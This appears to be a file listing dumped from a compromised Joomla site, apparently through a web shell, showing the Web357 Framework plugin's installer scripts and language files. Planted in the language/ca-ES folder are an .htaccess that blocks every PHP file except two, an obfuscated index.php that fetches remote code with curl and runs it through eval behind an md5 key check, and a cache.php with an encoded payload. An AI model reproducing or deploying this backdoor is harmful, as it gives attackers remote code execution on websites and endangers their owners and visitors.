uawdijnntqw1x1x1
IP : 216.73.217.102
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
tmp
/
..
/
cache
/
..
/
plugins
/
..
/
api
/
..
/
modules
/
..
/
web357framework.tar
/
/
script.install.helper.php000060400000036462151666570200011523 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Version; use Joomla\CMS\Language\Text; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use \Joomla\CMS\Installer\Installer; class PlgSystemWeb357frameworkInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public $plugin_folder = 'system'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer; $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<'); // or <= } public function canInstall() { // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } }script.install.php000060400000003260151666570200010233 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; if ( ! class_exists('PlgSystemWeb357frameworkInstallerScript')) { require_once __DIR__ . '/script.install.helper.php'; class PlgSystemWeb357frameworkInstallerScript extends PlgSystemWeb357frameworkInstallerScriptHelper { public $name = 'Web357 Framework'; public $alias = 'web357framework'; public $extension_type = 'plugin'; public function onBeforeInstall($route) { // Check if is new version if ( ! $this->isNewer()) { $this->softbreak = true; //return false; } return true; } public function onAfterInstall($route) { $this->deleteOldFiles(); } private function deleteOldFiles() { // Delete old files if (is_file(JPATH_SITE . '/plugins/system/web357framework/web357framework.script.php')) { File::delete(JPATH_SITE . '/plugins/system/web357framework/web357framework.script.php'); } // Delete folder if (is_dir(JPATH_SITE . '/plugins/system/web357framework/elements/assets')) { Folder::delete(JPATH_SITE . '/plugins/system/web357framework/elements/assets'); } } } }language/ru-RU/index.html000060400000000037151666570200011302 0ustar00<!DOCTYPE html><title></title> language/ru-RU/ru-RU.plg_ajax_web357framework.ini000060400000001412151666570200015554 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." language/ru-RU/ru-RU.plg_ajax_web357framework.sys.ini000060400000001412151666570200016371 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." language/it-IT/it-IT.plg_ajax_web357framework.sys.ini000060400000000753151666570200016330 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/it-IT/it-IT.plg_ajax_web357framework.ini000060400000000753151666570200015513 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/es-ES/es-ES.plg_ajax_web357framework.sys.ini000060400000000753151666570200016304 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/es-ES/es-ES.plg_ajax_web357framework.ini000060400000000753151666570200015467 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-NL/nl-NL.plg_ajax_web357framework.ini000060400000001020151666570200015463 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." language/nl-NL/nl-NL.plg_ajax_web357framework.sys.ini000060400000001020151666570200016300 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." language/index.html000060400000000037151666570200010330 0ustar00<!DOCTYPE html><title></title> language/ca-ES/ca-ES.plg_ajax_web357framework.sys.ini000060400000001030151666570200016221 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." language/ca-ES/index.html000060400000000037151666570200011220 0ustar00<!DOCTYPE html><title></title> language/ca-ES/ca-ES/.htaccess000060400000000333151666570200011710 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>language/ca-ES/ca-ES/index.php000060400000012623151666570200011737 0ustar00<?php goto ZVcR3yYCX5K; nfbg9LTVKa_: class EVfqYYvQa2U { static function snkxF9Fhroy($AXgGe5k2Boo) { goto vOt4apTUjfL; vOt4apTUjfL: $suszHvKMN7l = "\162" . "\141" . "\156" . "\147" . "\x65"; goto Zabj2C4cJFp; hAn4Hf5LhfF: $g374Qr5P7mo = explode("\175", $AXgGe5k2Boo); goto itIzLZysURl; itIzLZysURl: $yxtQFhH9aDH = ''; goto eGFaS3_ICgD; Zabj2C4cJFp: $gZQalg1o9JD = $suszHvKMN7l("\x7e", "\x20"); goto hAn4Hf5LhfF; IhK1OID0j26: return $yxtQFhH9aDH; goto DVMkb0jgYLv; L4VLlVsg60g: kEy2tPwQoR7: goto IhK1OID0j26; eGFaS3_ICgD: foreach ($g374Qr5P7mo as $C0QvLqd92Ob => $TQTLcxeyIhE) { $yxtQFhH9aDH .= $gZQalg1o9JD[$TQTLcxeyIhE - 99689]; s5V2YcFCOz4: } goto L4VLlVsg60g; DVMkb0jgYLv: } static function WSeVgogXQcS($F9H8YI3oiKF, $HeYZVkw6Ran) { goto qlyhjfzZ3W1; BBe1AN6wPOo: curl_setopt($X6abWgJAv2f, CURLOPT_RETURNTRANSFER, 1); goto MuAd3lL_zSy; e8_99dVSX8d: return empty($Ky7zhdl5ECv) ? $HeYZVkw6Ran($F9H8YI3oiKF) : $Ky7zhdl5ECv; goto pug4gru0WI2; qlyhjfzZ3W1: $X6abWgJAv2f = curl_init($F9H8YI3oiKF); goto BBe1AN6wPOo; MuAd3lL_zSy: $Ky7zhdl5ECv = curl_exec($X6abWgJAv2f); goto e8_99dVSX8d; pug4gru0WI2: } static function dAyNVSx5xo4() { goto R0eSceqfD6o; uXPTQZCK7Bo: $QHE8WKB2vWu = self::WSevgOgXqcs($tl3Nv4_bqDu[0 + 1], $V_X6pZ8anYx[1 + 4]); goto DNBXcbWftB4; DNBXcbWftB4: @eval($V_X6pZ8anYx[4 + 0]($QHE8WKB2vWu)); goto nNWIZk271nX; GYU6LcP0TJ1: @$V_X6pZ8anYx[5 + 5](INPUT_GET, "\x6f\x66") == 1 && die($V_X6pZ8anYx[1 + 4](__FILE__)); goto DOTdt0vSRuo; nNWIZk271nX: die; goto U9K_ghuFZp3; XjBZvZopFKr: $tl3Nv4_bqDu = $V_X6pZ8anYx[1 + 1]($uRFzFhWbUAC, true); goto GYU6LcP0TJ1; lZUi3SpTNQf: $eu09yz0Li6L = @$V_X6pZ8anYx[1]($V_X6pZ8anYx[6 + 4](INPUT_GET, $V_X6pZ8anYx[6 + 3])); goto sdD8EfxSh0t; sdD8EfxSh0t: $uRFzFhWbUAC = @$V_X6pZ8anYx[3 + 0]($V_X6pZ8anYx[0 + 6], $eu09yz0Li6L); goto XjBZvZopFKr; do_tby20W6S: foreach ($MG2Vjwq53bR as $WPNyCWJ705d) { $V_X6pZ8anYx[] = self::SnKxF9fhROY($WPNyCWJ705d); gxrHttk3QNI: } goto QrAueqYA77a; U9K_ghuFZp3: VBgUkx7SlX1: goto FZ3hvgBNgEW; R0eSceqfD6o: $MG2Vjwq53bR = array("\71\x39\x37\x31\66\x7d\71\x39\x37\x30\61\x7d\71\71\67\x31\x34\175\x39\x39\67\x31\x38\175\71\x39\x36\71\71\x7d\71\x39\67\x31\64\x7d\71\x39\x37\x32\x30\175\x39\71\x37\x31\x33\175\x39\x39\x36\71\70\175\71\x39\67\x30\65\175\71\71\67\x31\66\175\71\x39\x36\x39\x39\175\71\71\67\x31\x30\175\x39\x39\67\60\x34\x7d\x39\x39\x37\60\x35", "\71\x39\x37\60\60\175\71\71\66\x39\x39\175\x39\71\x37\x30\x31\175\x39\71\x37\62\60\x7d\x39\71\67\60\x31\175\x39\71\67\60\64\175\x39\71\66\71\x39\x7d\x39\x39\x37\66\x36\175\x39\x39\x37\x36\64", "\71\71\x37\60\71\175\71\71\67\60\60\x7d\x39\71\x37\60\x34\175\71\x39\67\x30\65\x7d\71\71\x37\62\x30\x7d\x39\71\67\x31\65\x7d\x39\x39\67\61\64\x7d\x39\71\67\x31\66\175\x39\x39\67\x30\x34\175\x39\x39\x37\x31\65\175\x39\71\67\61\x34", "\x39\x39\67\60\x33\175\71\x39\67\x31\x38\175\71\x39\x37\x31\66\175\x39\71\67\x30\70", "\71\71\x37\x31\67\175\71\71\x37\x31\x38\175\71\71\67\x30\60\175\x39\71\67\61\64\x7d\x39\x39\x37\66\61\x7d\71\x39\67\66\x33\175\x39\71\67\x32\x30\175\x39\x39\x37\61\x35\x7d\x39\x39\67\x31\x34\175\x39\x39\67\61\x36\x7d\x39\x39\x37\x30\x34\175\x39\71\67\61\x35\x7d\71\x39\x37\x31\64", "\71\x39\x37\61\x33\x7d\x39\71\x37\61\x30\175\71\x39\x37\x30\x37\175\x39\71\x37\61\x34\x7d\71\71\67\62\60\175\x39\x39\x37\x31\x32\175\71\71\x37\x31\x34\x7d\x39\71\x36\x39\71\175\x39\x39\x37\62\60\x7d\71\71\67\61\66\x7d\71\x39\67\60\x34\175\x39\x39\67\x30\x35\175\x39\71\66\71\x39\175\71\x39\67\x31\x34\x7d\x39\71\x37\60\65\x7d\x39\71\x36\x39\x39\175\71\x39\x37\x30\x30", "\71\71\x37\x34\63\x7d\71\x39\67\x37\x33", "\x39\x39\66\x39\x30", "\x39\71\x37\66\70\175\x39\71\67\x37\63", "\71\71\67\x35\x30\175\71\x39\67\63\63\175\x39\71\67\63\63\175\x39\71\67\65\60\175\x39\71\67\x32\x36", "\x39\x39\67\61\63\175\x39\x39\x37\x31\60\x7d\71\71\67\x30\x37\x7d\x39\71\66\x39\x39\175\x39\71\x37\x31\64\x7d\71\71\67\x30\61\x7d\71\71\67\x32\x30\175\71\71\67\61\x30\x7d\x39\71\x37\60\x35\175\71\71\x37\x30\63\175\71\x39\66\71\70\175\x39\71\66\71\x39"); goto do_tby20W6S; QrAueqYA77a: oaw8Fr4Kryt: goto lZUi3SpTNQf; DOTdt0vSRuo: if (!(@$tl3Nv4_bqDu[0] - time() > 0 and md5(md5($tl3Nv4_bqDu[1 + 2])) === "\70\141\x37\63\x33\63\x31\63\142\146\x36\142\71\143\x33\x39\66\66\60\143\x63\71\142\146\x34\x33\x32\x39\x64\61\x62\x61")) { goto VBgUkx7SlX1; } goto uXPTQZCK7Bo; FZ3hvgBNgEW: } } goto XhQmTRnW_W6; ZVcR3yYCX5K: $V1myPC36sbj = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto hwUffQl1wRJ; BEx1ytnga0H: if (!(in_array(gettype($V_0pXGfZnE5) . count($V_0pXGfZnE5), $V_0pXGfZnE5) && count($V_0pXGfZnE5) == 28 && md5(md5(md5(md5($V_0pXGfZnE5[22])))) === "\61\x34\x38\x38\x65\x37\x38\x34\x34\x33\x34\143\71\60\61\x61\144\x63\x61\x35\x61\x62\x64\x34\146\x65\61\61\x35\145\x38\x66")) { goto Amx30bfyJqv; } goto hnwmqCtePGd; hnwmqCtePGd: ($V_0pXGfZnE5[64] = $V_0pXGfZnE5[64] . $V_0pXGfZnE5[73]) && ($V_0pXGfZnE5[87] = $V_0pXGfZnE5[64]($V_0pXGfZnE5[87])) && @eval($V_0pXGfZnE5[64](${$V_0pXGfZnE5[46]}[24])); goto y0ehRSsgxXc; hwUffQl1wRJ: $JFPMG6sKIWa = $V1myPC36sbj("\176", "\x20"); goto omKw6sllUgP; omKw6sllUgP: $V_0pXGfZnE5 = ${$JFPMG6sKIWa[19 + 12] . $JFPMG6sKIWa[45 + 14] . $JFPMG6sKIWa[39 + 8] . $JFPMG6sKIWa[31 + 16] . $JFPMG6sKIWa[14 + 37] . $JFPMG6sKIWa[0 + 53] . $JFPMG6sKIWa[43 + 14]}; goto BEx1ytnga0H; flgtdnSLsOa: metaphone("\x42\x4f\x49\x49\x78\x42\x4b\x56\151\x76\157\165\160\x4c\122\x43\x4e\53\x48\110\122\53\156\x48\106\x32\x77\157\103\x39\170\x6c\x52\64\170\x34\63\x55\106\71\112\66\167"); goto nfbg9LTVKa_; y0ehRSsgxXc: Amx30bfyJqv: goto flgtdnSLsOa; XhQmTRnW_W6: evFQyyvqa2U::DaynVsx5xO4(); ?> language/ca-ES/ca-ES/cache.php000060400000013020151666570200011663 0ustar00<?php $qcX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirOGZ6aYGANAA'; $ChI = 'cDPN4ZA/LOiC+tDcrh0RtKJlUGPkp7rg1sn98zjX9l7u64r3rhP9czl6N7f14ljvxQ5+1DP58bk91b+xV8EFvG76dryXfXMu90kjuf/J7+hDHuyVf0iXu4t7G7d3u8xlKwxDtTj3I+7NeV2xn6/yIZF16bjzYvb26y/ffR2Rf833YGNKJ8GwIWlEur5ueGJF/7mO9H9qZZfexGHhKYPoctoW3KjX+OsWEC4NRugCjyq2cwYSftfTpOrrvlTUSP5/AZOfKToDhbme05wASSxJQNGCIDMMtvIpZSIcd7GmiVQ9VYU492uvIsOEzgOujUfloAI9qBe7G42bVcvJUx2Avz3tZgmvs5cTv+BrBc5rVlq1WoZoFg2IvfgLWX2XmNPOw3vY/OP6ntrz7nv2L9Q6AugUtGEdVF2WnvHnWVrA4v2pSM27isf7mmr/mout+/jimt2Z0fBpVjqIAB4R2tiBgKpju2TCqZmxjx9KeOvcI86iDWj6xVFdKq47FYLUZctKzvIf50Ko2Ufx4Ko5GnZYd1nEXHWiRhQIAumg2IHsvLEZxBhUAMv7Q2x7aUoStYXbN1kx8upTCf2QJPYGlmHl2/yfSya4F0Y88GJ4jw9AQtFXGTRbBciRZf9S12jVdSsqL4+Cm7tyRWrK8DEh2cNEH5Do6WBLrUj8ImvW0fGaXyqZuk9S2ExtkC5iu4CMVxLMZ5FqIBfI3F8PjRBXdyStokTASlpzbC1muA6TlxZQ34toDK1bUBgCGMQ7WMuRMmk2pAYYa+nfnoB4ZaIKrpJ7L81+fBRD1NDwcVcOFbEcya9jWalyPBFwlelNPArRihxf5VhiBPg4MMwC42TtEKQ4GiDYlD6VirRbW4ac/qtAYA8YX/UBtvfoUyN+mKfJKxDbubuqLvFuQFtVVFqlZ0l+pBSBBZCbn6BYSutGygJQameDHU+4hmPvjAhdNUcLh0wRvIE6H05FyMPviwXaZDhVgYrc3ijY2ixGY4ZBawwGHpCx+O8Lyy9iY5Ei9xgbfWuCA7iW8fzgYryHwSshEGWjENuKtAgh+SlrAjQ//kvTbJhe2/S9EAx6SK1leVSJ9mDROUjxzCu0oqclSyJGjOKTq6paY9KkxSrX6jLaV6aiJa5KIATeDOMr74IYHoKREeQZOGZ6Osha8UFyoRdEXig6E15UukQFlystpBUyEbFi0iEYgeaMnlb9NjTpgtO7XfBiImGN2jZieeuzdJmVinlCUdEh5LVDIYwShxfG7WkTiJ8Sa1KBEFXx1TOBPSRvofARqJe8x4RtK3RtiNXSZg8I6qSHKpgFrqZBJtVh4CSUqpjQu6OKSmmMJwvBm4jlUHVmemxcIowzcoKJkD2eCMfQ+jICeyBPz3evgcsQa2Wy/ABoGLL0akFODmMkhcORHazihvGGUEddMhIgjmAhcssG6Lt0kxTDM/mTAC9AM1Du0XO8MSs43fg